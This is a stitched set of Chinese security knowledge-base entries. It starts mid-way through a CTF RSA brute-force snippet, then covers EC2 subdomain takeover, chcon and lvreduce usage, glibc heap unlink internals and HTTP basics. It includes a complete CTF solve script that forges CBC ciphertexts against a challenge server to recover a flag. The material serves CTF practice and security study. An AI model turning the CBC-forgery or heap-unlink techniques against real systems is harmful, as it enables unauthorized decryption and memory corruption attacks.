for k in range(0, 32): msg = 'MeePwnCTF{' + '0' * i + 'O' * ii + 'l' * j + 'd' * k if len(msg) > 32: continue x = pow(int(msg.encode('hex'), 16), 65537, n) if x == c: print '!!!!', msg break ``` And to our amazement, it actually found the flag part: `MeePwnCTF{0ldddddddddddddddddd` So finally the flag was `MeePwnCTF{0ldddddddddddddddddd_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_sch0Olllllllllllllllllllll!!!!}`
sec-knowleage
--- title: EC2 子域名接管 --- <center><h1>EC2 子域名接管</h1></center> --- 存在这个漏洞的前提是目标的 AWS EC2 没有配置弹性 IP,此时如果目标子域 CNAME 配置了该公有 IPv4 DNS 地址或者 A 记录配置了公有 IPv4 IP 地址,那么当该 EC2 被关机或者销毁时,该实例的公有 IP 也会随之释放,此时这个 IP 就会被分配给新的 EC2 实例,造成子域名接管。 例如下面这个这个域名,可以看到 CNAME 绑定到了 AWS 的 EC2 上,可以看到现在 EC2 IP 地址是 15 开头的。 </br> <img width="1000" src="/img/1650004075.png"></br> 访问下,可以看到是正常访问的 </br> <img width="1000" src="/img/1650004139.png"></br> 此时我们将这个 EC2 实例停止再开机,在控制台可以看到 IP 地址已经变成了 3 开头的了 </br> <img width="1000" src="/img/1650004158.png"></br> 此时,因为 CNAME 记录还是原来的记录,再次访问 ec2.teamssix.com 可以看到已经访问不到了,因为原来的那个 15 开头的 IP 此时已经不是我们的了,这样便造成了域名接管。 </br> <img width="1000" src="/img/1650004183.png"></br> 只是这个域名不是被我们接管的,而是被别人接管了,或许自己的域名会被定向到别人的 Jenkins 上也说不定【手动狗头】 </br> <img width="1000" src="/img/1650004202.png"></br> </br> <img width="1200" src="/img/1650004221.png"></br> > 白帽子:你资产里的有个 Jenkins RCE !!! > > 厂家回复:感谢提交,我们正在调查。哦,这个域名的 DNS 记录看起来是个悬挂 DNS 记录,这个 Jenkins 资产不是我们的哦。 那么其实这里问题来了,怎么判断 DNS 记录里的 EC2 IP 是公有 IP 还是弹性 IP 呢?大概有以下几种方法: 1. 证书判断,如果某个子域绑定了 AWS EC2 IP,但是这个网站证书和其他子域名的证书明显不一致,那么可能这个 EC2 就是使用的公有 IP,而且当前的 IP 已经是别人的 IP 了,当然前提是网站使用了 HTTPS 2. 网络空间搜索引擎历史记录,通过对该 IP 的历史搜索记录进行查询,如果该 IP 的历史扫描记录一直在变化,那么可能就是公有 IP 3. 通过谷歌、百度搜索的历史记录去判断,这个原理和上面的第 2 点一样,都是通过有没有变化去判断。 不过其实上面三种方法也没法百分百的确定,所以其实最好的办法就是直接问对方,当前 IP 是不是对方所属,虽然这种做法不太 Hacker,但确实是最有效的办法了。 </br> <img width="700" src="/img/1650004239.png"></br> 最后如果子域名要绑定 EC2,建议为 EC2 绑定个弹性 IP,这样即使实例重启,IP 也不会变,避免自己的域名绑到了其他人的 EC2 的尴尬场景。 不过 u1s1,这个问题影响不算太大,毕竟攻击者想劫持到这个域名的成本还是蛮高的。 > 参考资料: > > https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
chcon === 修改对象(文件)的安全上下文 ## 补充说明 **chcon命令** 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。 ### 语法 ```shell chcon [选项]... 环境 文件... chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件... chcon [选项]... --reference=参考文件 文件... ``` ### 选项 ```shell -h, --no-dereference:影响符号连接而非引用的文件。 --reference=参考文件:使用指定参考文件的安全环境,而非指定值。 -R, --recursive:递归处理所有的文件及子目录。 -v, --verbose:为处理的所有文件显示诊断信息。 -u, --user=用户:设置指定用户的目标安全环境。 -r, --role=角色:设置指定角色的目标安全环境。 -t, --type=类型:设置指定类型的目标安全环境。 -l, --range=范围:设置指定范围的目标安全环境。 ``` 以下选项是在指定了`-R`选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。 ```shell -H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接。 -L:遍历每一个遇到的通到目录的符号链接。 -P:不遍历任何符号链接(默认)。 --help:显示此帮助信息并退出。 --version:显示版本信息并退出。 ``` ### 实例 如果你想把这个ftp共享给匿名用户的话,需要开启以下: ```shell chcon -R -t public_content_t /var/ftp ``` 如果你想让你设置的FTP目录可以上传文件的话,SELINUX需要设置: ```shell chcon -t public_content_rw_t /var/ftp/incoming ``` 允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页: ```shell setsebool -P httpd_enable_homedirs 1 chcon -R -t httpd_sys_content_t ~user/public_html ``` 如果你希望将samba目录共享给其他用户,你需要设置: ```shell chcon -t samba_share_t /directory ``` 共享rsync目录时: ```shell chcon -t public_content_t /directories ```
sec-knowleage
lvreduce === 收缩逻辑卷空间 ## 补充说明 **lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。 ### 语法 ```shell lvreduce(选项)(参数) ``` ### 选项 ```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` ### 参数 逻辑卷:指定要操作的逻辑卷对应的设备文件。 ### 实例 使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令: ```shell [root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0 #将逻辑卷的空间大小减少50M ``` 输出信息如下: ```shell ......省略部分输出内容...... Do you really want to reduce lvol0? [y/n]: y #确认操作 Reducing logical volume lvol0 to 252.00 MB Logical volume lvol0 successfully resized ```
sec-knowleage
# 基础操作 ## unlink unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用 - malloc - 从恰好大小合适的 large bin 中获取 chunk。 - **这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。** - 依次遍历处理 unsorted bin 时也没有使用 unlink 。 - 从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。 - free - 后向合并,合并物理相邻低地址空闲 chunk。 - 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。 - malloc_consolidate - 后向合并,合并物理相邻低地址空闲 chunk。 - 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。 - realloc - 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。 由于 unlink 使用非常频繁,所以 unlink 被实现为了一个宏,如下 ```c /* Take a chunk off a bin list */ // unlink p #define unlink(AV, P, BK, FD) { \ // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ // 下面主要考虑 P 对应的 nextsize 双向链表的修改 if (!in_smallbin_range (chunksize_nomask (P)) \ // 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。 // 那么其实也就没有必要对 nextsize 字段进行修改了。 // 这里没有去判断 bk_nextsize 字段,可能会出问题。 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ // 类似于小的 chunk 的检查思路 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ // 这里说明 P 已经在 nextsize 链表中了。 // 如果 FD 没有在 nextsize 链表中 if (FD->fd_nextsize == NULL) { \ // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P // 令 FD 为 nextsize 串起来的 if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ // 否则我们需要将 FD 插入到 nextsize 形成的双链表中 FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ // 如果在的话,直接拿走即可 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ } ``` 这里我们以 small bin 的 unlink 为例子介绍一下。对于 large bin 的 unlink,与其类似,只是多了一个nextsize 的处理。 可以看出, **P 最后的 fd 和 bk 指针并没有发生变化**,但是当我们去遍历整个双向链表时,已经遍历不到对应的链表了。这一点没有变化还是很有用处的,因为我们有时候可以使用这个方法来泄漏地址 - libc 地址 - P 位于双向链表头部,bk 泄漏 - P 位于双向链表尾部,fd 泄漏 - 双向链表只包含一个空闲 chunk 时,P 位于双向链表中,fd 和 bk 均可以泄漏 - 泄漏堆地址,双向链表包含多个空闲 chunk - P 位于双向链表头部,fd 泄漏 - P 位于双向链表中,fd 和 bk 均可以泄漏 - P 位于双向链表尾部,bk 泄漏 **注意** - 这里的头部指的是 bin 的 fd 指向的 chunk,即双向链表中最新加入的 chunk。 - 这里的尾部指的是 bin 的 bk 指向的 chunk,即双向链表中最先加入的 chunk。 同时,无论是对于 fd,bk 还是 fd_nextsize ,bk_nextsize,程序都会检测 fd 和 bk 是否满足对应的要求。 ```c // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // next_size related if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); ``` 看起来似乎很正常。我们以 fd 和 bk 为例,P 的 forward chunk 的 bk 很自然是 P ,同样 P 的 backward chunk 的 fd 也很自然是 P 。如果没有做相应的检查的话,我们可以修改 P 的 fd 与 bk,从而可以很容易地达到任意地址写的效果。关于更加详细的例子,可以参见利用部分的 unlink 。 **注意:堆的第一个 chunk 所记录的 prev_inuse 位默认为1。** ## malloc_printerr 在 glibc malloc 时检测到错误的时候,会调用 `malloc_printerr` 函数。 ```cpp static void malloc_printerr(const char *str) { __libc_message(do_abort, "%s\n", str); __builtin_unreachable(); } ``` 主要会调用 `__libc_message` 来执行`abort` 函数,如下 ```c if ((action & do_abort)) { if ((action & do_backtrace)) BEFORE_ABORT(do_abort, written, fd); /* Kill the application. */ abort(); } ``` 在`abort` 函数里,在 glibc 还是2.23 版本时,会 fflush stream。 ```c /* Flush all streams. We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage; fflush (NULL); } ```
sec-knowleage
import base64 import hashlib import re import string import itertools from crypto_commons.netcat.netcat_commons import receive_until_match, nc, send, receive_until from crypto_commons.symmetrical.symmetrical import set_byte_cbc, set_cbc_payload_for_block def PoW(suffix, digest): for prefix in itertools.product(string.ascii_letters + string.digits, repeat=4): p = "".join(prefix) if hashlib.sha256(p + suffix).hexdigest() == digest: return p def pad(msg): pad_length = 16 - len(msg) % 16 return msg + chr(pad_length) * pad_length def generate_payload_from_message(encrypted, plaintext, new_payload): raw = encrypted.decode("base64") new_payload = pad(new_payload)[:16] plaintext = ("\0" * 16) + (pad(plaintext)[:16]) payload = set_cbc_payload_for_block(raw, plaintext, new_payload, 1) return base64.b64encode(payload) def main(): s = nc("52.193.157.19", 9999) data = receive_until_match(s, "Give me XXXX:") inputs = re.findall("SHA256\(XXXX\+(.*)\) == (.*)", data)[0] suffix = inputs[0] digest = inputs[1] result = PoW(suffix, digest) print("PoW done") send(s, result) receive_until_match(s, "Done!\n") welcome = receive_until(s, "\n")[:-1] get_flag_payload = generate_payload_from_message(welcome, "Welcome!", "get-flag") send(s, get_flag_payload) encrypted_flag = receive_until(s, "\n")[:-1] raw_enc_flag = encrypted_flag.decode("base64") current = "hitcon{" print('encrypted flag', encrypted_flag, encrypted_flag.decode("base64"), len(encrypted_flag.decode("base64"))) for block_to_recover in range(3): malleable_block = base64.b64encode(raw_enc_flag[block_to_recover * 16:]) missing = 16 - len(current) for spaces in range(missing): for c in string.printable: test_flag_block_prefix = current + c + ("\0" * (missing - spaces)) expected_command = (" " * spaces) + "get-flag" payload = generate_payload_from_message(malleable_block, test_flag_block_prefix, expected_command) send(s, payload) result = receive_until(s, "\n")[:-1] if result == encrypted_flag: current += c print('found matching flag char:', current) break print(current) known_blocks = raw_enc_flag[16 * block_to_recover:16 * block_to_recover + 32] expanded_flag = raw_enc_flag[16 * block_to_recover:] + known_blocks # appending IV and "Welcome!!" at the end next_block_known = "" for i in range(8): get_md5 = set_cbc_payload_for_block(expanded_flag, "\0" * 16 + current, (" " * 9) + "get-md5", 1) # first block is get-md5 get_md5 = set_byte_cbc(get_md5, ("\0" * (5 - block_to_recover) * 16) + current, (6 - block_to_recover) * 16 - 1, chr((4 - block_to_recover) * 16 - i - 1)) # last character to cut padding send(s, base64.b64encode(get_md5)) real_md5_result = receive_until(s, "\n")[:-1] for c in string.printable: test_md5_payload = set_cbc_payload_for_block(expanded_flag, "\0" * 16 + current, (" " * (8 - i - 1)) + "get-md5" + next_block_known + c, 1) test_md5_payload = set_byte_cbc(test_md5_payload, ("\0" * (5 - block_to_recover) * 16) + current, (6 - block_to_recover) * 16 - 1, chr((4 - block_to_recover) * 16 + 1)) send(s, base64.b64encode(test_md5_payload)) test_md5_result = receive_until(s, "\n")[:-1] if real_md5_result == test_md5_result: next_block_known += c print('found matching flag char:', next_block_known) break print(next_block_known) current = next_block_known[:-1] main()
sec-knowleage
# HTTP <!-- GFM-TOC --> * [HTTP](#http) * [一 、基础概念](#一-基础概念) * [请求和响应报文](#请求和响应报文) * [URL](#url) * [二、HTTP 方法](#二http-方法) * [GET](#get) * [HEAD](#head) * [POST](#post) * [PUT](#put) * [PATCH](#patch) * [DELETE](#delete) * [OPTIONS](#options) * [CONNECT](#connect) * [TRACE](#trace) * [三、HTTP 状态码](#三http-状态码) * [1XX 信息](#1xx-信息) * [2XX 成功](#2xx-成功) * [3XX 重定向](#3xx-重定向) * [4XX 客户端错误](#4xx-客户端错误) * [5XX 服务器错误](#5xx-服务器错误) * [四、HTTP 首部](#四http-首部) * [通用首部字段](#通用首部字段) * [请求首部字段](#请求首部字段) * [响应首部字段](#响应首部字段) * [实体首部字段](#实体首部字段) * [五、具体应用](#五具体应用) * [连接管理](#连接管理) * [Cookie](#cookie) * [缓存](#缓存) * [内容协商](#内容协商) * [内容编码](#内容编码) * [范围请求](#范围请求) * [分块传输编码](#分块传输编码) * [多部分对象集合](#多部分对象集合) * [虚拟主机](#虚拟主机) * [通信数据转发](#通信数据转发) * [六、HTTPS](#六https) * [加密](#加密) * [认证](#认证) * [完整性保护](#完整性保护) * [HTTPS 的缺点](#https-的缺点) * [七、HTTP/2.0](#七http20) * [HTTP/1.x 缺陷](#http1x-缺陷) * [二进制分帧层](#二进制分帧层) * [服务端推送](#服务端推送) * [首部压缩](#首部压缩) * [八、HTTP/1.1 新特性](#八http11-新特性) * [九、GET 和 POST 比较](#九get-和-post-比较) * [作用](#作用) * [参数](#参数) * [安全](#安全) * [幂等性](#幂等性) * [可缓存](#可缓存) * [XMLHttpRequest](#xmlhttprequest) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一 、基础概念 ### 请求和响应报文 客户端发送一个请求报文给服务器,服务器根据请求报文中的信息进行处理,并将处理结果放入响应报文中返回给客户端。 请求报文结构: - 第一行是包含了请求方法、URL、协议版本; - 接下来的多行都是请求首部 Header,每个首部都有一个首部名称,以及对应的值。 - 一个空行用来分隔首部和内容主体 Body - 最后是请求的内容主体 ``` GET http://www.example.com/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cache-Control: max-age=0 Host: www.example.com If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT If-None-Match: "3147526947+gzip" Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 xxx param1=1&param2=2 ``` 响应报文结构: - 第一行包含协议版本、状态码以及描述,最常见的是 200 OK 表示请求成功了 - 接下来多行也是首部内容 - 一个空行分隔首部和内容主体 - 最后是响应的内容主体 ``` HTTP/1.1 200 OK Age: 529651 Cache-Control: max-age=604800 Connection: keep-alive Content-Encoding: gzip Content-Length: 648 Content-Type: text/html; charset=UTF-8 Date: Mon, 02 Nov 2020 17:53:39 GMT Etag: "3147526947+ident+gzip" Expires: Mon, 09 Nov 2020 17:53:39 GMT Keep-Alive: timeout=4 Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Proxy-Connection: keep-alive Server: ECS (sjc/16DF) Vary: Accept-Encoding X-Cache: HIT <!doctype html> <html> <head> <title>Example Domain</title> // 省略... </body> </html> ``` ### URL HTTP 使用 URL( **U** niform **R**esource **L**ocator,统一资源定位符)来定位资源,它是 URI(**U**niform **R**esource **I**dentifier,统一资源标识符)的子集,URL 在 URI 的基础上增加了定位能力。URI 除了包含 URL,还包含 URN(Uniform Resource Name,统一资源名称),它只是用来定义一个资源的名称,并不具备定位该资源的能力。例如 urn:isbn:0451450523 用来定义一个书籍名称,但是却没有表示怎么找到这本书。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8441b2c4-dca7-4d6b-8efb-f22efccaf331.png" width="500px"> </div><br> - [wikipedia:统一资源标志符](https://zh.wikipedia.org/wiki/统一资源标志符) - [wikipedia: URL](https://en.wikipedia.org/wiki/URL) - [rfc2616:3.2.2 http URL](https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.2) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) ## 二、HTTP 方法 客户端发送的 **请求报文** 第一行为请求行,包含了方法字段。 ### GET > 获取资源 当前网络请求中,绝大部分使用的是 GET 方法。 ### HEAD > 获取报文首部 和 GET 方法类似,但是不返回报文实体主体部分。 主要用于确认 URL 的有效性以及资源更新的日期时间等。 ### POST > 传输实体主体 POST 主要用来传输数据,而 GET 主要用来获取资源。 更多 POST 与 GET 的比较请见第九章。 ### PUT > 上传文件 由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法。 ```html PUT /new.html HTTP/1.1 Host: example.com Content-type: text/html Content-length: 16 <p>New File</p> ``` ### PATCH > 对资源进行部分修改 PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。 ```html PATCH /file.txt HTTP/1.1 Host: www.example.com Content-Type: application/example If-Match: "e0023aa4e" Content-Length: 100 [description of changes] ``` ### DELETE > 删除文件 与 PUT 功能相反,并且同样不带验证机制。 ```html DELETE /file.html HTTP/1.1 ``` ### OPTIONS > 查询支持的方法 查询指定的 URL 能够支持的方法。 会返回 `Allow: GET, POST, HEAD, OPTIONS` 这样的内容。 ### CONNECT > 要求在与代理服务器通信时建立隧道 使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。 ```html CONNECT www.example.com:443 HTTP/1.1 ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br> ### TRACE > 追踪路径 服务器会将通信路径返回给客户端。 发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。 通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪)。 - [rfc2616:9 Method Definitions](https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html) ## 三、HTTP 状态码 服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。 | 状态码 | 类别 | 含义 | | :---: | :---: | :---: | | 1XX | Informational(信息性状态码) | 接收的请求正在处理 | | 2XX | Success(成功状态码) | 请求正常处理完毕 | | 3XX | Redirection(重定向状态码) | 需要进行附加操作以完成请求 | | 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 | | 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 | ### 1XX 信息 - **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。 ### 2XX 成功 - **200 OK** - **204 No Content** :请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。 - **206 Partial Content** :表示客户端进行了范围请求,响应报文包含由 Content-Range 指定范围的实体内容。 ### 3XX 重定向 - **301 Moved Permanently** :永久性重定向 - **302 Found** :临时性重定向 - **303 See Other** :和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。 - 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。 - **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-Modified-Since,If-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器会返回 304 状态码。 - **307 Temporary Redirect** :临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。 ### 4XX 客户端错误 - **400 Bad Request** :请求报文中存在语法错误。 - **401 Unauthorized** :该状态码表示发送的请求需要有认证信息(BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。 - **403 Forbidden** :请求被拒绝。 - **404 Not Found** ### 5XX 服务器错误 - **500 Internal Server Error** :服务器正在执行请求时发生错误。 - **503 Service Unavailable** :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。 ## 四、HTTP 首部 有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。 各种首部字段及其含义如下(不需要全记,仅供查阅): ### 通用首部字段 | 首部字段名 | 说明 | | :--: | :--: | | Cache-Control | 控制缓存的行为 | | Connection | 控制不再转发给代理的首部字段、管理持久连接| | Date | 创建报文的日期时间 | | Pragma | 报文指令 | | Trailer | 报文末端的首部一览 | | Transfer-Encoding | 指定报文主体的传输编码方式 | | Upgrade | 升级为其他协议 | | Via | 代理服务器的相关信息 | | Warning | 错误通知 | ### 请求首部字段 | 首部字段名 | 说明 | | :--: | :--: | | Accept | 用户代理可处理的媒体类型 | | Accept-Charset | 优先的字符集 | | Accept-Encoding | 优先的内容编码 | | Accept-Language | 优先的语言(自然语言) | | Authorization | Web 认证信息 | | Expect | 期待服务器的特定行为 | | From | 用户的电子邮箱地址 | | Host | 请求资源所在服务器 | | If-Match | 比较实体标记(ETag) | | If-Modified-Since | 比较资源的更新时间 | | If-None-Match | 比较实体标记(与 If-Match 相反) | | If-Range | 资源未更新时发送实体 Byte 的范围请求 | | If-Unmodified-Since | 比较资源的更新时间(与 If-Modified-Since 相反) | | Max-Forwards | 最大传输逐跳数 | | Proxy-Authorization | 代理服务器要求客户端的认证信息 | | Range | 实体的字节范围请求 | | Referer | 对请求中 URI 的原始获取方 | | TE | 传输编码的优先级 | | User-Agent | HTTP 客户端程序的信息 | ### 响应首部字段 | 首部字段名 | 说明 | | :--: | :--: | | Accept-Ranges | 是否接受字节范围请求 | | Age | 推算资源创建经过时间 | | ETag | 资源的匹配信息 | | Location | 令客户端重定向至指定 URI | | Proxy-Authenticate | 代理服务器对客户端的认证信息 | | Retry-After | 对再次发起请求的时机要求 | | Server | HTTP 服务器的安装信息 | | Vary | 代理服务器缓存的管理信息 | | WWW-Authenticate | 服务器对客户端的认证信息 | ### 实体首部字段 | 首部字段名 | 说明 | | :--: | :--: | | Allow | 资源可支持的 HTTP 方法 | | Content-Encoding | 实体主体适用的编码方式 | | Content-Language | 实体主体的自然语言 | | Content-Length | 实体主体的大小 | | Content-Location | 替代对应资源的 URI | | Content-MD5 | 实体主体的报文摘要 | | Content-Range | 实体主体的位置范围 | | Content-Type | 实体主体的媒体类型 | | Expires | 实体主体过期的日期时间 | | Last-Modified | 资源的最后修改日期时间 | ## 五、具体应用 ### 连接管理 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/HTTP1_x_Connections.png" width="800"/> </div><br> #### 1. 短连接与长连接 当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问的 HTML 页面资源,还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接,那么开销会很大。 长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。 - 从 HTTP/1.1 开始默认是长连接的,如果要断开连接,需要由客户端或者服务器端提出断开,使用 `Connection : close`; - 在 HTTP/1.1 之前默认是短连接的,如果需要使用长连接,则使用 `Connection : Keep-Alive`。 #### 2. 流水线 默认情况下,HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到响应之后才会被发出。由于受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。 流水线是在同一条长连接上连续发出请求,而不用等待响应返回,这样可以减少延迟。 ### Cookie HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。 Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器之后向同一服务器再次发起请求时被携带上,用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据,因此会带来额外的性能开销(尤其是在移动环境下)。 Cookie 曾一度用于客户端数据的存储,因为当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API(本地存储和会话存储)或 IndexedDB。 #### 1. 用途 - 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息) - 个性化设置(如用户自定义设置、主题等) - 浏览器行为跟踪(如跟踪分析用户行为等) #### 2. 创建过程 服务器发送的响应报文包含 Set-Cookie 首部字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。 ```html HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content] ``` 客户端之后对同一个服务器发送请求时,会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。 ```html GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry ``` #### 3. 分类 - 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。 - 持久性 Cookie:指定过期时间(Expires)或有效期(max-age)之后就成为了持久性的 Cookie。 ```html Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; ``` #### 4. 作用域 Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。 Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。例如,设置 Path=/docs,则以下地址都会匹配: - /docs - /docs/Web/ - /docs/Web/HTTP #### 5. JavaScript 浏览器通过 `document.cookie` 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。 ```html document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); ``` #### 6. HttpOnly 标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息,因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。 ```html Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly ``` #### 7. Secure 标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障。 #### 8. Session 除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。 Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高。 使用 Session 维护用户登录状态的过程如下: - 用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 请求报文中; - 服务器验证该用户名和密码,如果正确则把用户信息存储到 Redis 中,它在 Redis 中的 Key 称为 Session ID; - 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID,客户端收到响应报文之后将该 Cookie 值存入浏览器中; - 客户端之后对同一个服务器进行请求时会包含该 Cookie 值,服务器收到之后提取出 Session ID,从 Redis 中取出用户信息,继续之前的业务操作。 应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下,例如转账等操作,除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。 #### 9. 浏览器禁用 Cookie 此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外,不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。 #### 10. Cookie 与 